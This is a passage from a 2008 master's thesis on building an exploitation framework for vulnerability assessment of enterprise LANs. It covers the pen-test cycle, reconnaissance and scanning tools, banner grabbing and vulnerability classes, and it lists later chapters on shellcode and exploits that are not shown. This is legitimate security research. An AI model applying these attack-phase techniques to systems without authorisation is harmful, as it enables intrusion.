development of exploitation framework for vulnerability ...pabitra/facad/06cs6037t.pdf · i wish to...

Development of Exploitation Framework for Vulnerability Assessment of Enterprise LAN

Master of Technology

In

Computer and Information Technology

By

Major Santosh Prasad

Under the supervision of

Dr. S.K. Ghosh

School of Information Technology

Department of Computer Science and Engineering

Indian Institute of Technology, Kharagpur India

May 2008

Certificate

This is to certify that the Thesis titled “Development of Exploitation Framework for

Vulnerability Assessment of Enterprise LAN”, submitted by Major Santosh Prasad,

to the Department of Computer Science and Engineering, in partial fulfillment for the

award of the degree of Master of Technology (Computer and Information

Technology) is a bona-fide record of work carried out by him under my supervision and

guidance. The thesis has fulfilled all the requirements as per the regulations of the

institute and, in my opinion, has reached the standard needed for submission.

Dr. S.K. Ghosh School of Information Technology

I.I.T. Kharagpur - 721302


3

ABSTRACT

As computers become cheaper day-by-day, the industries are shifting from labor

intensive manual working to automatic processing. The organisations have

interconnected their computers to form Enterprise LANs and often store mission critical

information on them. As network grows the threat of unauthorized access, denial of

service, financial loss or simply loss of valuable data increases substantially. To be able

to enjoy the benefits of collaborative computing and interconnectivity it is imperative to

have measures in place which prevent and detect any possible threat before they can

cause the damage.

Vulnerability assessment is a process that defines, identifies, and classifies the security

holes (vulnerabilities) in a computer, network, or communications infrastructure and thus

is important for enterprise LAN. There are two ways of vulnerability assessment:

o Formal Verification

o Penetration test.

Penetration testing and exploitation of own machines are the only proactive methods of

detecting and removing all possible known threats and vulnerabilities which can be

exploited by any determined hacker. Penetration testing and exploitation are performed

from a hacker’s point of view and hence gives a good insight of the gaps in the security

policies and even physical security of the LAN’s. The exploitation framework is an

important module of vulnerability assessment toolkit which penetrates the network and

enters target machine to gain unauthorized access.

While there are few existing commercial tools that perform Penetration Testing including

Exploitation module but their level of automation and process management varies

considerably. In addition, there can be a possibility of backdoor which can have serious

consequences for organisations dealing with mission critical information. The high costs

and complex handling of the commercial tools make their use prohibitive. While, the

open source tools have an informal approach towards VA (vulnerability assessment) and


4

Penetration Testing. Moreover, open source vulnerability scanners (like Nessus) do not

have an integrated exploitation module. Hence there is a need felt to propose an

automated framework to carry out Penetration Testing including the Development of

Exploitation Framework in an Enterprise LAN environment which has an uncomplicated

EUI (end-user-interface) to facilitate its extensive usage in an organization.


5

ACKNOWLEDGMENTS

With a deep sense of respect and gratitude I would like to thank my guide Dr. S.K.

Ghosh for his guidance and full support through the entire duration of my project work.

His brilliance and motivation always gave me the required inputs to continue with my

work. He has been constantly involved in the project, giving his valuable suggestions and

holding many discussions to inspire and nurture new ideas. As a person too he has always

been a source of immense support in times of my personal crisis.

All this would not have been possible without the continuous support and motivation

from faculty members of Computer Science and Engineering and my parents Shri Radhe

Shyam Prasad and Mrs Urmila Devi. I wish to convey my sincere respects and gratitude

to all of them for always being there for me. I also take this opportunity to thank my wife

Mrs Rashmi Prasad whose endless support, love and encouragement has helped me

always to achieve all my goals.

I would also like to express my sincere thanks to all faculty members, for enlightening

me during these two years and all my classmates and friends in IIT Kharagpur for their

immense support. I express my sincere thanks to 1 Bengal EME Coy (NCC) for

providing all administrative support during the entire duration of my course.

Major Santosh Prasad

Department of Computer Science and Engineering

Indian Institute of Technology

Kharagpur - 721302, INDIA.


6

Table of contentsChapter 1 _____________________________________________________________ 9

Introduction ___________________________________________________________ 9 1.1 Background____________________________________________________________ 10 1.2 Related Work __________________________________________________________ 13 1.3 Motivation_____________________________________________________________ 15 1.4 Objective ______________________________________________________________ 16 1.5 Thesis layout ___________________________________________________________ 17 1.6 Summary______________________________________________________________ 17

Chapter 2 ____________________________________________________________ 18

Vulnerability Assessment and System Exploitation ___________________________ 18 2.1 Penetration Test Cycle___________________________________________________ 19 2.2 Intelligence Gathering ___________________________________________________ 22

2.2.1 Footprinting________________________________________________________________ 23 2.2.2 Scanning __________________________________________________________________ 24 2.2.3 Enumeration _______________________________________________________________ 28

2.3 Vulnerability Assessment (VA)____________________________________________ 28 2.4 System Exploitation _____________________________________________________ 31

2.4.1 Sniffing ___________________________________________________________________ 31 2.4.2 Password Guessing __________________________________________________________ 31 2.4.3 Buffer Overflow Attack ______________________________________________________ 32 2.4.4 DoS Attack ________________________________________________________________ 33

2.5 Escalation and Advancement _____________________________________________ 34 2.5.1 Privilege Escalation__________________________________________________________ 34 2.5.2 Advancement ______________________________________________________________ 34

2.6 Summary______________________________________________________________ 35 Chapter 3 ____________________________________________________________ 36

Framework Architecture of VA___________________________________________ 36 3.1 Architectural Model_____________________________________________________ 36 3.2 The Knowledge Base ____________________________________________________ 37 3.3 System Functions _______________________________________________________ 38 3.4 Exploitation Methodology ________________________________________________ 39 3.5 Exploitation Framework _________________________________________________ 39

3.5.1 Description of the proposed MVC Based Framework _______________________________ 40 3.6 Usage Model ___________________________________________________________ 41 3.7 Summary______________________________________________________________ 43

Chapter 4 ____________________________________________________________ 44

Developing Exploits ____________________________________________________ 44


7

4.1 Buffer Overflow Attack __________________________________________________ 45 4.2 Creating Attack String __________________________________________________ 48

4.2.1 Determining the Attack Vector _________________________________________________ 48 4.2.2 Finding the Offset ___________________________________________________________ 48 4.2.3 Selecting a control vector _____________________________________________________ 49 4.2.4 Finding a Return Address _____________________________________________________ 51 4.2.5 Determining Space Limitations_________________________________________________ 51 4.2.6 NOP Sleds_________________________________________________________________ 51 4.2.7 Creating a Payload or Shellcoding ______________________________________________ 52

4.3 Implementation of DCOM_RPC Buffer Overflow Attack______________________ 53 4.4 Denial of Service (DoS) __________________________________________________ 54 4.5 Implementation of IGMP_V3, Denial of Service (DoS) Attack __________________ 54 4.6 Summary______________________________________________________________ 55

Chapter 5 ____________________________________________________________ 56

Shellcoding___________________________________________________________ 56 5.1 Overview ______________________________________________________________ 56 5.2 Basic Requirements of writing a Shellcode __________________________________ 57

5.2.1 Tools _____________________________________________________________________ 57 5.2.2 Assembly Language _________________________________________________________ 58 5.2.3 The Addressing Problem______________________________________________________ 59 5.2.4 Implementing System calls and library functions ___________________________________ 59 5.2.5 The Null-Byte Problem_______________________________________________________ 60

5.3 Methodology of writing a Windows Shellcode _______________________________ 60 5.3.1 Programming Shellcode in assembly ____________________________________________ 60 5.3.2 Compile Assembly into binary _________________________________________________ 61 5.3.2 Convert Binary file into Hexadecimal ___________________________________________ 61

5.4 Implementation of bindshell and download and execute shellcode_______________ 61 5.4.1 Forward Bind shellcode ______________________________________________________ 62 5.4.2 Download and execute shellcode _______________________________________________ 62

5.5 Advancement __________________________________________________________ 63 5.5.1 Implementation of our working model ___________________________________________ 64 5.5.2 Advantages ________________________________________________________________ 67

5.6 summary ______________________________________________________________ 68 Chapter 6 ____________________________________________________________ 69

Exploitation Framework Implementation___________________________________ 69 6.1 Tool Functionality ______________________________________________________ 69 6.2 Exploit Framework _____________________________________________________ 70 6.3 Discussions ____________________________________________________________ 74 6.4 Summary______________________________________________________________ 75

Chapter 7 ____________________________________________________________ 76

Conclusion ___________________________________________________________ 76


8

7.1 Future work ___________________________________________________________ 77 References ___________________________________________________________ 78

Glossary _____________________________________________________________ 80


9

Chapter 1

Introduction

The explosive growth of the Internet has brought many good things: electronic

commerce, easy access to a vast store house of reference material, collaborative

computing, e-mail, and new avenues for advertising and information distribution, to name

a few. However, as with most technical advances, there is also a dark side: we have

SPAM, cyber crimes and invasion of privacy by criminal hackers. To make things worse,

while the system user needs to patch all possible vulnerabilities in his/her system, a

hacker only needs to locate any one to break in.

Formal verification approach can only provide validation of software against

vulnerability at abstract level. With increase in number of systems over the network, this

approach becomes almost ineffective.

As the number of system vulnerabilities multiply in recent years, Vulnerability

Assessment tools that can identify vulnerabilities in existing systems before actual

exploitation takes place have become immensely important.

VA Tool or Penetration Testing intends to check our own network and computer systems

against vulnerabilities in order to proactively find the security holes and patch them

before any attacker try to exploit them. An exploitation framework is an integral part of

such vulnerability assessment tool, which launches attack on the vulnerable machine to

gain unauthorized access.

An exploit is a piece of software, a chunk of data, or sequence of commands that take

advantage of a bug, glitch or vulnerability in order to cause unintended or unanticipated

behavior to occur on computer software, hardware, or something electronic (usually


10

computerized). This frequently includes such things as gaining control of a computer

system, allowing privilege escalation or a denial of service attack.

While a wide variety of commercial and open-source tools are available for scanning the

network or systems for vulnerability and exploitation, most of them are hard to install and

operate and thus, unsuitable for use by a general user.

The objective is to develop an Exploitation Framework for Vulnerability Assessment

of Enterprise LAN. This exploitation Framework will finally be integrated with the

vulnerability assessment (VA) Toolkit.

1.1 Background

Vulnerability assessment is a method of evaluating the security of a computer system or

the Enterprise network. The process involves an active analysis of the system for any

weaknesses or technical flaws in the OS or the applications which are running on them.

These are known as vulnerabilities. One of the methods of evaluating the security of a

computer system or network is by simulating an attack by a malicious hacker. This

technique is called Penetration Testing and involves an active exploitation of the security

vulnerabilities exposed during the process of scanning the network. Any security issues

that are found must be presented to the system owner or the administrator with an

assessment of their impact and often with a proposal for mitigation or a technical

solution. This kind of exploitation test should be carried out on any computer system that

is to be deployed in a hostile environment, in particular any Internet facing site, before it

is deployed. This provides a level of practical assurance that any script kiddy or other

more determined attacker will not be able to penetrate the system easily. Broadly, all

forms of vulnerability assessment and exploitation techniques adhere to the following

methodology or cycle as shown in figure 1.1.


11

Info gathering and Reconnaissanc

Enumeration & Vulnerability identification

Loc of target, Block IP,

Vulnerabilities in open Services on target

Exploitation

Gain Access of the

Escalation and Advancement

Start to exploit other

Figure 1.1: Vulnerability assessment cycle

• Information gathering: Background information is gathered from the target,

whether the target is a process or a system. An example of this is obtaining public

information from the Internet about the target organization.

• Reconnaissance: Positive confirmation of the target. Contact is made with

the organisation to confirm that targets and security controls are as expected. An example

in a physical test would be to visit a target site as a guest or bystander. In a network test,

this might be sending traffic to confirm the existence of routers, web servers and email

servers.

• Enumeration: Establishing the potential points of access being offered by

a target. In a network test this will involve scanning for open services on targets or

establishing the existence of possible user identification credentials.


12

• Vulnerability identification: Identifying potential vulnerabilities in a

target. In a network test this will consist of using tools to test for vulnerabilities on a

particular product, for example a router. In a web application test, this may involve

finding an input field that does not check for malicious code in the text being entered.

• Exploitation: Using identified vulnerabilities to gain unauthorised access

to the target. For example, in a web application test, this may involve injecting

commands into the application that provide a level of control over the target. Exploitation

may require the combination of several sets of information in a creative way.

• Escalation: Gaining further access on a target, once an initial level of access

has been obtained. For example, in a network test, successful exploitation may allow user

or guest access to a system. Escalation through additional exploitation will be required to

obtain administrative privilege.

• Advancement: Attempting to move on from the compromised target to

find other vulnerable systems. For example, in a network test this will consist of

“hopping” from one system to another, potentially using the access obtained on the

original target to access other systems. In a physical test, this might involve moving from

one compromised building to another.

Today, accomplishing any of these key functions manually is a labor-intensive effort.

Using manual methods to find and repair the vulnerabilities that are found on a particular

network of thousands or tens of thousands of devices rapidly becomes impractical. It is

common for vulnerability scans to uncover hundreds of vulnerabilities for each computer

or network device. Hence automated tools and processes are vital to tackle the most

critical vulnerabilities and ensure that the network is always protected. The most common

commercial and free tools available for each of the above mentioned steps are as follows

The common tools which are used for the different steps of Vulnerability Assessment and

Penetration Testing are as follows:


13

• Information gathering – Nslookup, Whois, ARIN

• Reconnaissance - VisualRoute Traceroute, SmartWhois, SmartDraw.

• Scanning - ipEye, WS_PingPro, Hping, NMap, Nessus, Netcat etc.

• Exploitation – Metasploit, John the Ripper, cain and able, THC Hydra, Airsnort,

Aircrack.

Certain commercially available tools that are available are Core Impact, Canvas, Saint,

Retina, GFI LANguard.

1.2 Related Work

A large amount of effort in the past has been directed in automating the entire

vulnerability assessment and exploitation cycle. This section provides a brief introduction

to some of the important works done in this area. The scope of the survey is divided into

bringing out the motivation of the thesis work: automating the entire vulnerability

assessment and exploitation cycle, exploitation framework on Ruby-on-Rails, writing

exploits and DoS attacks, and creating shellcodes.

Automating the entire vulnerability assessment and exploitation cycle

In [1], Chang Liu and Debra J. Richardson talks about ‘Automated Security Checking

and Patching Using TestTalk’. They describe how manual methods are time consuming

and impractical for scanning and patching vulnerable systems in the network. To solve

this problem, they propose to develop a framework for automated security checking and

patching. Securibot downloads security updates in machine readable format. This tool is

divided in two main parts, the scanners and the patchers. The scanners portion is

responsible to scan the system for known vulnerabilities and then the patchers patches

them automatically. It can also detect compromised systems using attack signatures.

Another important work by Michitaka Yoshimoto, Bhed Bahadur Bista and Toyoo

Takata on ‘Development of Security Scanner with High Portability and Usability’ [2],

talks about the need for automated Vulnerability scanners which have high usability. As


14

per the authors a scanner which has high usability should have the following

characteristics:

(1) Easy installation

(2) Easy operation

(3) Intelligible scanned result.

The scanner proposed in the paper is also on similar lines and have tried to ensure high

usability and easy installable. To ensure these features the tool developed is a Web based

security scanner with an impressive GUI and has high user-friendliness which makes it

comfortable to be used by even a layman.

Juanita Koilpillai, John B. Beavers and Paul Swinton in their paper titled ‘Recon - A Tool

for Incident Detection, Tracking and Response’ [3] suggests a general framework

designed to integrate many smaller available services that cooperate with each other to

detect and react to security incidents in order to minimize or eliminate harm to the

enterprise.

There are other works that concentrate on customised tools like the Self Port Scanning

Tool by Joshua E. Koche and Dr. David P. Gilliam [4] and the NetGlean scanner by

Gavin W. Manes et. al. [5]. All such tools have tried and optimized a particular phase of

the vulnerability assessment cycle.

Exploitation framework: The framework has been developed in Ruby-on-Rails [6]

[7] [8] environment which follows Model-View-controller (MVC) architecture.

Developing Exploits and DoS attacks

To develop exploits or DoS, we need to first understand the vulnerability type or the

software bug present in the code. Since, many exploits are written for buffer overflow

attacks, we read some literatures pertaining to buffer overflow. A book named Buffer

overflow attacks by James C Foster [9] provides an in-depth understanding of buffer


15

overflow bug and its exploitation. Buffer overflow demystified by [email protected]

[10] explains the buffer overflow vulnerability in detail including various examples.

Developing Shellcode

The development of shellcode was important, firstly to understand the working of it and

then to write our own shellcode to accomplish some specific task. Sockets, Shellcode,

Porting, and Coding, a book written by James C Foster [11] provides an in depth

knowledge of understanding shellcodes and its creation. Understanding Windows

Shellcode by M Miller [12] provides the art of writing a Windows specific shellcode.

1.3 Motivation

Although, few commercial and open-source vulnerability detection and security

assessment tools are available, their level of automation and process management varies

considerably. Most of them require a certain amount of experience and background

knowledge before they can be effectively used. Though all these tools perform one or

more functionality of the VA cycle, but a fully automated tool that integrates all aspects

satisfactorily is hard to find.

Thus, the primary problem is: how to transform the traditionally labor-intensive

vulnerability assessment process into a scalable vulnerability management system.

The few automated tools available in the network security arena are mainly commercial

products. Apart from cost being the major factor against their unabated use, they are also

prone to be laced with some backdoors which may compromise the organisations

interests in more than one ways. This has very serious implications in certain

organisations like Defence, financial organisations and governmental bodies. These

organisations deal with sensitive data and often have stringent requirements. The

commercial tools being proprietary in nature are not customizable to the organization’s

needs. They are pre packaged products being sold with taller claims than what they can

actually fulfill. On the other hand, the open source tools are not fully automated. They

require a lot of effort on the part of security personnel who has to integrate the piece meal


16

information obtained from each freeware tool and manually leverage the goal of

Penetration Testing.

1.4 Objective

Based on the above observations, the development of an open source, web-based, user-

friendly tool is envisaged, which can integrate and automate the entire Vulnerability

Assessment cycle. The objective of this project is to develop an Exploitation

framework for vulnerability assessment of enterprise LAN which is the most

important module of the vulnerability assessment tool. The scope of our project can be

sub-divided into following heads:

• Development of exploitation framework.

• Coding exploits and DoS attacks in Ruby.

• Creating custom made payloads for bind shell and advancement.

This report would discuss in brief the entire VA tool and its functionality for better

understanding of our contributions made to develop an exploitation framework. The

Exploitation Framework basically consists of exploits, which are self written in Ruby

language for known vulnerabilities.

The Exploitation Framework so designed should contain the following features:

Modular - The framework should be modular so that it is extensible for future use.

Ease of Operation - The framework should have a GUI based front end for ease of

operation by a layman.

Ease of installation - Minimum effort should be required for installation of the tool and

it should be easily usable from any terminal in the network.

Customisable - The framework should be amenable to easy customization to suit the

specific needs of the organisation like the use of safe exploits or fast exploits.


17

Upgradeable - The framework should be easily upgradeable to cater for the ever

changing threat scenario of the organisation.

Updateable - The framework should be able to update the latest vulnerability signatures

being released by the CVE and other public services available on the net

1.5 Thesis layout

This thesis is organized as follows. In Chapter 2, we explain the methodology and

techniques behind vulnerability assessment and system exploitation. In Chapter 3, we

explain the framework and the tool architecture. Chapter 4 gives the knowledge on how

to develop exploits and Denial of Service attacks. In this chapter we will also look at the

implementation of one exploit and one DoS attack.

Chapter 5 gives an overview of shellcoding and then describes the art of writing custom

made shellcodes. Shellcoding in this chapter is specific to Windows operating system.

We also desribe our own payloads which have been written for bindshell and

advancement. Chapter 6 gives the detailed functioning of the exploitation framework tool

which is then followed by the results.

Finally, in Chapter 7 we conclude our thesis by mentioning major contributions made to

accomplish the objective. This is followed by some future scope of exploitation

framework as envisaged by us.

1.6 Summary

In this chapter, we have discussed the requirement of vulnerability assessment tool for an

enterprise LAN and its importance for organisations dealing with mission critical

information. Section 1.1 gave a brief background of vulnerability assessment and

explained the vulnerability assessment cycle. We then discussed the literature survey

done for this thesis work followed by the motivation to carry out this project. In section

1.4, we discussed our objective and subdivided it under various heads for ease of

implementation. We then gave a brief thesis layout


18

Chapter 2

Vulnerability Assessment and System Exploitation Vulnerability assessment and system exploitation or ethical hacking as it is commonly

known is a method of evaluating the security of a computer system or network by

simulating an attack by a malicious hacker. The process involves an active analysis of the

system for any weaknesses, technical flaws or vulnerabilities. This analysis is carried out

from the position of a potential attacker, and involves active exploitation of security

vulnerabilities. Any security issues that are found will be presented to the system owner

together with an assessment of their impact and often with a proposal for mitigation or a

technical solution.

Need of Vulnerability assessment

Vulnerability assessment is required to protect our computer systems and network from

any possible attack or unauthorised access. Vulnerability analysis consists of following

steps:

o Defining and classifying network or system resources

o Assigning relative levels of importance to the resources

o Identifying potential threats to each resource

o Developing a strategy to deal with the most serious potential problems first

o Defining and implementing ways to minimize the consequences if an attack

occurs.

The general methodology for a malicious user to gain information on a target host or

network starts with basic reconnaissance. This could be as simple as visiting an

organization’s web site or using public tools to learn more information about the targets’

domain registrations. After the attacker has gained enough information to his satisfaction,

the next logical step is to scan for open ports and services on the target host(s) or

network. The scanning process may yield very important information such as open ports


19

through the router and firewall, available services and applications on hosts or network

appliances, and possibly the version of the operating system or applications running.

After an attacker has mapped out the system characteristics which include available

hosts, ports, applications and services, the next step is to test for vulnerabilities that may

exist on the target host or network. Typically, if the attacker has chosen to gain access to

the host he or she will attempt to keep access and cover their own tracks. Covering of

tracks almost always involves the tampering of logs or logging servers. In the case of an

actual intrusion, many times all an organization is left with is their logs, hence, protecting

them is all the more important.

Penetration test and system exploitation is mostly carried out on any computer system

that is to be deployed in a hostile environment; particularly the web servers and mail

servers which are internet facing systems are ideal candidates for such testing.

Vulnerability assessment on the other hand should be carried out on all systems of the

network with unfailing regularity. As even a single vulnerability if exploited from within

or outside the network can become the cause of bringing down the entire network. Hence

it is imperative to understand how a malicious hacker can gain access into our system and

exploit the vulnerabilities which may exist in our operating system or the applications we

are running.

2.1 Penetration Test Cycle The different phases in which a hacker is able to gain access into a vulnerable system is

explained in the following paragraphs. Figure 2.1 shows the entire penetration test cycle.

Reconnaissance

This refers to the preparatory phase where an attacker seeks to gather as much

information as possible about a target system prior to launching an attack. It involves

network scanning either external or internal without authorization. The most common

tools used for reconnaissance are:

• Nslookup – used to find various details relating to DNS including IP addresses of

a particular computer, MX records for a domain or the NS servers of a domain.


20

• whois – it is a TCP-based query/response protocol which is widely used for

querying an official database in order to determine the owner of a domain name,

an IP address, or an autonomous system number on the Internet.

• ARIN – it is the Regional Internet Registry (RIR) for Canada, many islands in the

Caribbean and North Atlantic Ocean, and the United States.

• DIG - this is an online web tool to query a DNS nameserver to look up and find

IP address information of computers in the internet.

Scanning

This refers to pre-attack phase when the hacker scans the network with specific

information gathered during reconnaissance; it can include use of dialers, port scanners,

network mapping, sweeping, vulnerability scanners etc. The art of scanning comes to

bear when an attacker is patient. He performs precision scans on target devices and based

on the results of the scan data can narrow down potential exploits and vulnerability based

on their experiences. Nmap is probably the best known and most flexible scanning tool

available today. Nmap provides options for fragmentation, spoofing, use of decoy IP

addresses, stealth scans, and many other features.

ClearingTracks

Maintaining Access

GainingAccess

Scanning

Reconnaissance

5

ClearingTracks

Maintaining Access

GainingAccess

Scanning

Reconnaissance

5

3

2

1

4

Figure 2.1: Penetration test cycle


21

Gaining Access

This refers to the attack phase of hacking. The hacker after scanning for vulnerabilities is

now ready to exploit the system. The exploit can occur over a LAN or over the Internet

Examples include stack based buffer overflows, denial of service, session hijacking,

password filtering etc.

Maintaining Access

This refers to the phase when the hacker tries to retain his ownership of the system. The

hacker has exploited the known vulnerability and can now tamper with the system at his

will. Sometimes, hackers harden the system from other hackers by securing their

exclusive access with Backdoors, RootKits, Trojans and Trojan horse. Hackers can

upload, download or manipulate data / applications / configurations on the ‘owned’

system

An ethical hacker is a person who tries to carry out penetration testing of its own network

or system from the point of view of a malicious hacker. The difference is in the intent, the

ethical hacker performs hacking for hardening the security of the system while the

malicious hacker has the intention to disrupt or damage the target host. When hired by

any organization, an ethical hacker asks the organization what it is trying to protect,

against whom and what resources it is willing to expend in order to gain protection. Then

he tries to find out answers to the following questions.

What can the intruder see on the target system?

(Reconnaissance and Scanning phase of hacking)

What can an intruder do with that information?

(Gaining Access and Maintaining Access phases)

Does anyone at the target notice the intruders’

attempts or success?

(Reconnaissance and Covering Tracks phases)


22

Penetration tests can be conducted in several ways. The most common difference is the

amount of knowledge of the implementation details of the system being tested that are

available to the testers. Black box testing assumes no prior knowledge of the

infrastructure to be tested, and the testers must first determine the location and extent of

the systems before commencing their analysis. At the other end of the spectrum, white

box testing provides the testers with complete knowledge of the infrastructure to be

tested, often including network diagrams, source code and IP addressing information.

There are also several variations in between, often known as gray box testing.

The relative merits of these approaches are debatable. It is argued that black box testing,

most closely simulates the actions of a real cracker; however this ignores the fact that any

targeted attack on a system most probably requires some knowledge of the system, and

any insider attacker would be in possession of as much information as the system owners.

In most cases it is preferable to assume a worst-case scenario and provide the testers with

as much information as they require, assuming that any determined attacker would

already have acquired this.

In practice, the services offered by penetration testing firms range from a simple scan of

an organization’s IP address space for open ports and identification banners to a full audit

of source code for an application.

The next few sections present a somewhat detailed discussion into the different phases of

vulnerability assessment and system exploitation in a sequential step-by-step manner.

2.2 Intelligence Gathering Imagine the situation of a war in which a highly sensitive military base of the enemy is to

be attacked. The first and foremost step that is needed to be considered would naturally

be gathering intelligence. Techniques may range from human agents, communication

signal interception, spy satellites, etc. Of course, all these need to be done with utmost


23

caution to eliminate the slightest possibility of detection. After enough information has

been gathered, a wing of stealth bombers will bomb the target – Mission accomplished.

The same is true in the case of computer systems. A lot of research needs to be conducted

to understand the ways in which a hacker can attempt to gain privileged access to a given

system.

Intelligence gathering can be roughly divided into three major steps:

• Footprinting.

• Scanning.

• Enumeration.

2.2.1 Footprinting Foot printing is the process of accumulating data regarding a specific network

environment in order to make a unique footprint or a profile of an organization’s security

posture. With foot printing, using rather simple tools, we gather information such as:

• Administrative, technical, and billing contacts, which include employee names,

email addresses, and phone & fax numbers.

• IP address range.

• DNS servers.

• Mail servers.

Footprinting employs the first two steps of reconnaissance, gathering the initial target

information and determining the network range of the target. Common tools/resources

used in the footprinting phase are:

• whois - it is a TCP-based query/response protocol which is widely used for

querying an official database in order to determine the owner of a domain name,

an IP address, or an autonomous system number on the Internet.

• SmartWhois - This network information utility allows us to find information

about IP addresses, hostnames and domains including country, state, province,

city, network provider, administrator and technical support contact information.


24

• Nslookup - used to find various details relating to DNS including IP addresses of

a particular computer, MX records for a domain or the NS servers of a domain.

• Sam Spade - it is an integrated network query tool for Windows 95, 98, NT and

Windows 2000. A freeware tool for tracking down spam

2.2.2 Scanning

The next four information-gathering steps -- identifying active machines, discovering

open ports and access points, fingerprinting the operating system, and uncovering

services on ports -- are considered part of the scanning phase.

In the footprinting phase, the attacker creates a profile of the target organization, with

information such as its domain name system (DNS) and e-mail servers, and its IP address

range. Most of this information is available online. In the scanning phase, the attacker

finds information such as:

• Specific IP addresses of systems reachable via the Internet.

• TCP/UDP services running on each system identified.

• System architecture (Sparc, Alpha, x86).

• Operating system type.

Ping Sweeps

A ping sweep (also known as an ICMP sweep) is a basic network scanning technique

used to determine which of a range of IP addresses map to live hosts (computers).

Whereas a single ping will tell you whether one specified host computer exists on the

network, a ping sweep consists of ICMP (Internet Control Message Protocol) ECHO

requests sent to multiple hosts. If a given address is live, it will return an ICMP ECHO

reply. Ping sweeps are among the older and slower methods used to scan a network.

Related Tools

There are a number of tools that can be used to do a ping sweep, such as fping, gping, and

nmap for UNIX systems, and the Pinger software from Rhino9 and Ping Sweep from


25

SolarWinds for Windows systems. Both Pinger and Ping Sweep send multiple packets at

the same time and allow the user to resolve host names and save output to a file.

Port Scanning

A potential target computer runs many services that listen at well-known ports. A port

scan attempts to connect to all 65536 ports on a machine in order to see if anybody is

listening on those ports. Port scans are not illegal in many places, because they don't

actually compromise the system, and also because they can easily be spoofed, so it is

hard to prove guilt, and virtually any machine on the Internet can be induced to scan

another machine. Using Ping Sweeps we have identified which systems are alive. The

next step is trying to determine what services (if any) are running or are in a LISTENING

state on the targeted system, by connecting to the TCP and UDP ports of that system.

This is called Port Scanning. For the hacker it is critical to identify listening ports,

because it helps him identify the operating system and applications in use.

The services detected as listening may suffer from vulnerabilities which may result from

two reasons:

• Wrong configuration of the service

The version of the software is known to have security flaws. If identified, these

vulnerabilities can lead to unprivileged access gained by the attacker. There exist a large

number of port scanning techniques and we mention few of them:

• TCP connect scan

• TCP SYN scan (half- open scan)

• Stealth scan

• Fragmented packet scan

• FIN scan


26

OS Detection

Many security holes are dependent on OS (operating system) version. For example, Let

us assume that we have found port 53 open through a port scanning session. If this is a

vulnerable version of Bind, we only get a single chance to exploit it since a failed attempt

will crash the daemon. With a good TCP/IP fingerprinter, we may quickly be able to

trace the operating system version the target machine is running (say Solaris 2.51 or

Linux 2.0.35) and adjust the shell code accordingly.

There exist a lot of tools and techniques to find the operating system running on a remote

system. The following paragraphs discuss a few important ones.

Banner Grabbing: Some services can be used to identify an operating system. For

example, a very simple technique to know about the remote OS and its version is from

the welcome banner when the telnet service is running:

root@stes] # telnet 192.168.1.13

Debian GNU/Linux 2.1 target.domain.com

target login:

Banners of other services such as the mail server may also provide similar information:

220 target.domain.com ESMTP Sendmail

8.9.3/8.9.3/Debian/GNU; Sun, 6 Feb 2006 09:56:32 +0200

But there is no guarantee that one will definitely be able to find the OS running from the

welcome banner since, an increasing number of people are turning banners off. It is

trivial for someone to "lie" in their banners.


27

Even if the banners are turned off, many applications happily give away this kind of

information when asked. For example let us look at an FTP server:

stes> telnet ftp.netscape.com 21

Trying 207.200.74.26...

Connected to ftp.netscape.com.

Escape character is '^]'.

220 ftp29 FTP server (UNIX(r) System V Release 4.0)

ready.

SYST

First of all, it gives us system details in its default banner. Moreover, if the 'SYST'

command is given, it happily feeds back even more information.

Some common tools used in the scanning phase are:

• Nmap - it is a security scanner used to discover computers and services on a

computer network, thus creating a "map" of the network.

• Ping - it is a computer network tool used to test whether a particular host is reachable

across an IP network.

• Traceroute – it is a computer network tool used to determine the route taken by

packets across an IP network.

• Superscan - is a powerful TCP port scanner that includes a variety of additional

networking tools like ping, traceroute, WHOIS and more. It uses multi-threaded

and asynchronous techniques resulting in extremely fast and versatile scanning

• Netcat - A featured networking utility which reads and writes data across network

connections, using the TCP/IP protocol

• NeoTrace – it shows us how packets get from our computer to another computer

on the Internet by displaying all nodes between our computer and the trace target.

• Visual Route – it traces to any Remote IP address or Domain from the Visual Route

desktop.


28

2.2.3 Enumeration

Enumeration is the process of extracting valid accounts or exported resource names from

systems. The information is gathered using active connections to systems and queries,

which is more intrusive in nature than foot printing and scanning. The techniques are

mostly operating system specific, and can gather information such as:

• User & group names.

• System banners

• Routing tables

• SNMP information

2.3 Vulnerability Assessment (VA) Computer vulnerability is a flaw in the security of a computer system. The security is the

support structure that prevents unauthorized access to the computer. When any

vulnerability is exploited, the person using the vulnerability will gain some additional

influence over the computer system that may allow a compromise of the systems’

integrity. These vulnerabilities can be of mainly four types as mentioned below

Logic error

It is the most common form of vulnerability where there is a logical error in the code

itself. This error once discovered can be exploited by a hacker. These types of problem

occur due to poorly written code that allows heightened access to an intruder. The basic

methodologies used to exploit these vulnerabilities are buffer overflow attacks or SQL

injection attacks.

Weakness

It is a flaw in the design of a security measure that was put into place, which can lead to a

breach. They usually involve security that may or may not be distinctly solid, but is

possible for people to bypass. The term “Security through Obscurity” fits in this area; it

considers a system secure merely because nobody has been given the access rights to the

security features. All encryption fits under this category as it is possible to eventually


29

break the encryption, regardless of how well it is constructed. The idea isn’t that security

isn’t present; it is the fact that security is present but with a method of defeating it also

being present.

Social Engineering

It is an ill-defined area of attacking. It primarily targets the company security policies.

Social Engineering could include a worker committing sabotage, a telephone scam

directed at an employee, or digging for information that was thrown away in dustbins.

Policy oversight

It is a flaw in the planning to avoid a situation, which would be such conditions as not

producing adequate software backups, having proper contact numbers, and so forth. The

most common policy oversight seems to be not having support of the company’s

management to legally pursue computer criminals, which renders all the existing

countermeasures established to protect the company useless.

The logic errors type of vulnerabilities that we are mostly concerned with are mostly

Operating system specific or Application specific.

Operating System Vulnerabilities

All software inherits vulnerabilities from the operating system. Although it’s a common

assumption that poor administration is what really allows hackers easy entry to

computers, sometimes it isn’t the fault of the administrator. Hundreds (if not thousands)

of security problems are easily traced back to flaws which exist in the operating system

itself. If one considers the “buffer overflow” attack, which results in “force feeding” the

computer instructions due to faulting bounds checking, if the operating system handled

the overflows correctly the problem would not even exist. If the same program were

“ported” to an operating system with better overflow handling, the problem would

disappear.


30

Application Specific Vulnerabilities

A specific application can be anything from a video game to a web server. Professionals

can write these programs or they could be written by amateurs, one is never quite sure.

For every operating system there is a user with a different set of needs, so application

vulnerabilities typically don’t affect everybody. However, this doesn’t mean millions of

people still cannot be affected for example a flaw in Microsoft Internet Explorer, would

affect millions around the world. Sometimes the flaw might not manifest itself until a

condition of use occurs, making actual automation for scanning such vulnerabilities

